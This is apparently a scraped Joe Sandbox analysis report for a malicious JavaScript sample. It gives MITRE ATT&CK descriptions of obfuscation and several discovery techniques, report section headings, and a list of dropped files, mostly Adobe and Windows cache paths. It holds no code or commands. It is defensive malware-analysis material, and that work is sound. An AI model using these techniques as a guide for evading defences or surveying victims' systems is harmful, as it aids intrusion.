Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1775148551349412785.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\491872c2-39b3-4c3c-a05d-13385ce3fe84.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6a4a3ac9-4b3a-4b76-90a5-8409ce76f0e8.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF3c3c59.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
1775148551349412785.js